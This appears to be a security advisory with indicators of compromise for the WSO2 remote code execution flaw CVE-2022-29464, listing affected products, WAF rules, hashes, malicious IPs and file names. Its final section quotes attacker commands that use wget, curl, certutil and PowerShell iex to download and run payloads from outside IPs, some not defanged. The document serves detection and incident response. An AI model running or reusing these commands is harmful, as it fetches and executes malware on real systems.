On April 18th 2022, a Remote Code Execution vulnerability being tracked as CVE 2022-29464 with a score of 9.8 was released for certain WSO2 products. All applicable entities should review their systems for the following indicators of compromise (IOCs).

Please note that if you have already applied the patches for this vulnerability, there is a high possibility that you are still at risk.

Affected Systems:

- WSO2 API Manager 2.2.0 and above through 4.0.0
- WSO2 Identity Server 5.2.0 and above through 5.11.0
- WSO2 Identity Server Analytics 5.4.0, 5.4.1, 5.5.0, and 5.6.0
- WSO2 Identity Server as Key Manager 5.3.0 and above through 5.10.0
- WSO2 Enterprise Integrator 6.2.0 and above through 6.6.0

Recommendations:

- Review the Ellucian directory
- Review FW Logs
- Review FW Config
- Rescan for Log4J vulnerabilities within your environment
- Enable blocking rules that scan for code injection. For cloudflare users, enable the following rule sets:
    - *** May break some applications ***
    - XSS, HTML Injection
        - Id: #b910aec795a44492b783da68301de41f
    - Microsoft ASP.NET – Code Injection, Dangerous File Upload
        - Id: #7babab188b3c40ae87b93ec451f4fd5b
    - Code Injection
        - Id: #d58ebf5351d843d3a39a4480f2cc4e84
    - OWASP
        - Id: #6179ae15870a4bb7b2d480d4843b323c

Known hashes:

MD5

- 09048ea13274a2125ae5737bc649ec95
- 4856997cec5ddb18ab001cf23037feca
- 7327d28c284a9eeef60a053b048c59a3
- 558b534d0613582fc4a9d6c240560980
- a9fa2ab959bba3088d6ef5ed5b728dcb
- 2c44b4e4706b8bd95d1866d7867efa0e

SHA-256

- 1562e05d9e74925eb504d9e8aac9b17f92389ea24a141090f977e35281469c5b
- bf44cb27d470018dce20f156f3c55c3952054c74e2ad95907d2f13135c734438
- 25de9d5a72afa111a5424867be3b8cb721335cbdda0832119da946c2878267ec
- 990a8e04426f861e1104911fe77e1bf2b69a82e0e906a3a47a46dc8e23399b8c
- d9c57875fbc4b1846121fd57f97f54d0c519ccca56652683ef9bbbdae3852718
- 5d2530b809fd069f97b30a5938d471dd2145341b5793a70656aad6045445cf6d

Known Malicious IPs:

138.68.61.82	181.114.232.78	107.172.217.242
138.99.216.117	139.177.203.110	156.226.57.56
156.244.91.129	159.65.46.32	162.33.177.185
178.253.17.49	179.60.150.63	185.224.129.235
193.190.104.125	193.201.8.42	194.26.29.113
198.54.117.244	199.247.3.55	212.114.52.11
212.114.52.96	212.139.167.234	213.227.154.152
213.227.154.159	213.227.155.48	213.227.155.75
23.95.80.200	37.228.188.12	37.251.254.238
40.117.63.160	45.14.224.127	46.30.188.148
5.255.97.203	5.39.222.193	5.39.222.164
5.8.18.120	51.89.227.111	66.29.138.20
78.128.112.131	88.214.26.28	89.238.185.9
138.68.61.82	181.114.232.78	

Known malicious file names:

All these files seem to be located within the \eso2is-X\repository\deployment\server\webapps\authenticationendpoint\ directory.

- Wvhkmt.jsp
- D90f.exe
- Checkit2.exe
- Lol.ps1
- 7a9sTj.exe
- VNIniR.exe
- tBXhvAcrDb.jsp
- gebtMjYSDr.jsp
- Error_500.jsp

This is not a comprehensive list of malicious files. Some malicious files were also found in the C:\Windows\Temp directory. This document will be updated as more info is gathered and validated.

Known executed commands:

./ll1
Chmod 777 ll1
Wget http://103(.)91.211.53:6895/ll1
Chmod +x /var/tmp/.ps
powershell iex(New-Object Net.WebClient).DownloadString('http://185.101.107.92/xmr.ps1')
Wget http://160(.)20.146.75/wget.sh
C:/Windows/temp/checkit2.exe
certutil.exe -urlcache -split -f http://185(.)101.107.92/checkit2.exe C:/Windows/temp/checkit2.exe
curl -s http://185(.)157.160.214/xms?git -o /tmp/xms
powershell iex(New-Object Net.WebClient).DownloadString('http://185.101.107.92/lol.ps1')